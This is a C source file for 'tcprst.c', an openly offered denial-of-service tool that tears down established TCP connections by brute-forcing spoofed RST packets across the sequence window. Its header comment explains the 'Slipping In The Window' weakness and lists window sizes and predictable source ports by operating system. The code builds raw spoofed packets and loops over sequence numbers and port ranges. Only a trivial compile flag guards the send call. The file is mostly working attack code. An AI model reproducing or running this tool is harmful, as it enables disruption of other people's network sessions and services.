tcprst.c resets established TCP connections by sending suitable TCP packets with the RST (reset) flag set. Makes use of the known TCP vulnerability that accepts RST packets with ISNs that are in a certain window, making the attack much easier.
23f80a5378591e29de2144d5c26d106ae042db6002302a2b5e97262dc51919a7
/*
* tcprst.c - DoS over TCP persistent connections
* ----------------------------------------------
*
* This code requires an access to RAW socket.
*
* Tested with:
* (root@osiris ~)# uname -srmp
* Linux 2.4.26 i586 Pentium_MMX
*
* Basically the attack pattern is resetting established TCP connection by
* sending suitable TCP packets with the RST (reset) flag set. The packets
* need to have source and destination IP addresses that match the established
* connection as well as the same source and destination TCP ports.
* The packets required for a successful RST attack are based on the equation:
* 2^32 / Window Size
* Note that minimum number of packets you need to send is 2^32 / 65535.
* For example, if the TCP stack on host A has definied a 16384 window, the
* stack must accept any packet that has a sequence numer that falls within
* this range as the packets may be arriving out of order. Hence, someone
* that is performing an attack with tcprst.c doesn't have to send a RST packet
* with every possible sequence number, instead only having to send a RST
* packet with a sequence number from each possible window. In other words,
* an attacker would have to send 4294967295 / 16384 = 262143 packets.
* There's also "window scaling" TCP extension that increases the available
* window size from 16 bits to 30 bits. Theoretically, with window scaling
* open to the maximum range, an attacker would only have to send
* 2^32 / 2^30 = 4 packets (that's right, only 4 spoofed packets).
*
* Operating System Initial Window Size
* -------------------------------------
* Linux 2.4/2.6 5840
* Linux 2.0-2.2 16384,32768
* Windows XP 16384,64240
* Windows 2000 64512,16384
* Windows 9x 8192
* *BSD 65535,32768,16384
*
* The only different part of attack is source port, since it varies with each
* new TCP session. Source ports are NOT actually selected from the full 16-bit
* (65535) range. Ports 1-1024 are reserved for privileged process (UID=0),
* ports 49152-65535 are reserved for private system ports.
* Currently, source port selection is rather predictable, even for the blind
* TCP spoofing attacker. Every modern OS increments source port by 1.
* A notable exception is OpenBSD which randomizes source ports.
* The following char represents initial source ports (I wonder if someone
* has knowlege about other systems - please contact with me).
*
* Operating System Initial Source Port
* -------------------------------------
* Windows XP 1050
* Windows 2000 1060,1038
* Linux 2.2-2.4 1024
*
* Here ends my little introduction to TCP Reset Attack.
* You can read more in "Slipping In The Window" technical paper.
* And oh, BTW: there's a little script kiddie protection ;)
* Have fun!
*
* Copyright (c) 2004-2005 by Marcin Ulikowski <elceef@itsec.pl>
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <limits.h>
#include <errno.h>
#define bug(n) do { perror(n); exit(1); } while (0)
#define DEFAULTWSS 16384
static u_char packet[] = {
/* IHL */ 0x45,
/* ToS */ 0x00,
/* totlen */ 0x00, 0x28,
/* ID */ 0x05, 0x39,
/* offset */ 0x00, 0x00,
/* TTL */ 0xFF,
/* proto */ 0x06,
/* cksum */ 0x00, 0x00,
/* saddr */ 0x00, 0x00, 0x00, 0x00,
/* daddr */ 0x00, 0x00, 0x00, 0x00,
/* sport */ 0x00, 0x00,
/* dport */ 0x00, 0x00,
/* SEQ */ 0x00, 0x00, 0x00, 0x00,
/* ACK */ 0x00, 0x00, 0x00, 0x00,
/* doff */ 0x50,
/* flags */ 0x04,
/* WSS */ 0x00, 0x00,
/* cksum */ 0x00, 0x00,
/* urg */ 0x00, 0x00
};
u_short cksum(void) {
u_int sum = 20 + 6; /* TCP len + proto(6) */
u_char i;
u_char *p = packet + 20;
for (i = 0; i < 10; i++) {
sum += (*p << 8) + *(p+1);
p += 2;
}
p = packet + 12;
for (i = 0; i < 4; i++) {
sum += (*p << 8) + *(p+1);
p += 2;
}
return ~(sum + (sum >> 16));
}
void usage(char *ex) {
printf("Usage: %s <-S src-ip> <-s src-port> <-D dst-ip> <-d dst-port>\n"
" [-w win-size]\n"
"Example: %s -S 10.0.0.1 -s 1025-1030 -D 10.0.0.2 -d 22\n", ex, ex);
exit(1);
}
int main(int argc, char** argv) {
static struct sockaddr_in addr;
u_int sad, dad, seq, isn;
int sock, count = 0, total = 0, one = 1;
u_short sp, dp, ck, wss = DEFAULTWSS;
u_short fromsp, tosp, fromdp, todp, source, dest, i;
printf("tcprst.c - DoS over TCP long-time connections\n"
"(c) Marcin Ulikowski <elceef@itsec.pl>\n");
if (argc < 9) usage(argv[0]);
for (i = 1; i < argc; i++) {
if (!strcmp("-S", argv[i]) && i < argc - 1) {
i++;
if ((sad = inet_addr(argv[i])) == INADDR_NONE) usage(argv[0]);
} else if (!strcmp("-s", argv[i]) && i < argc - 1) {
i++;
if (strchr(argv[i], '-')) sscanf(argv[i], "%hu-%hu", &fromsp, &tosp);
else {
fromsp = atoi(argv[i]);
tosp = atoi(argv[i]);
}
if (fromsp > tosp) usage(argv[0]);
} else if (!strcmp("-D", argv[i]) && i < argc - 1) {
i++;
if ((dad = inet_addr(argv[i])) == INADDR_NONE) usage(argv[0]);
} else if (!strcmp("-d", argv[i]) && i < argc - 1) {
i++;
if (strchr(argv[i], '-')) sscanf(argv[i], "%hu-%hu", &fromdp, &todp);
else {
fromdp = atoi(argv[i]);
todp = atoi(argv[i]);
}
if (fromdp > todp) usage(argv[0]);
} else if (!strcmp("-w", argv[i]) && i < argc - 1) {
i++;
wss = atoi(argv[i]);
if (!wss) usage(argv[0]);
} else usage(argv[0]);
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) bug("socket");
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)))
bug("setsockopt");
addr.sin_family = AF_INET;
memcpy(&addr.sin_addr.s_addr, &dad, 4);
memcpy(packet+12, &sad, 4);
memcpy(packet+16, &dad, 4);
for (source = fromsp; source <= tosp; source++) {
memset(packet+20, 0, 2);
sp = htons(source);
memcpy(packet+20, &sp, 2);
for (dest = fromdp; dest <= todp; dest++) {
printf("%u.%u.%u.%u:%hu -> %u.%u.%u.%u:%hu (win=%hu)\n",
packet[12], packet[13], packet[14], packet[15], source,
packet[16], packet[17], packet[18], packet[19], dest, wss);
memset(packet+22, 0, 2);
dp = htons(dest);
memcpy(packet+22, &dp, 2);
count = 0;
for (seq = wss; seq < UINT_MAX-wss; seq += wss) {
isn = htonl(seq);
memcpy(packet+24, &isn, 4);
memset(packet+36, 0, 2);
ck = cksum();
ck = htons(ck);
memcpy(packet+36, &ck, 2);
#ifdef NOSCRIPTKID
if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) perror("sendto");
#endif
total += 40;
count++;
if (count == 8192) {
count = 0;
printf("RST counter: %u ISN guess: %lu\n", total/40, seq);
}
} /* seq loop ends */
} /* dest loop ends */
} /* source loop ends */
printf("Total data sent: %uKB\n", total/1024);
close(sock);
return 0;
}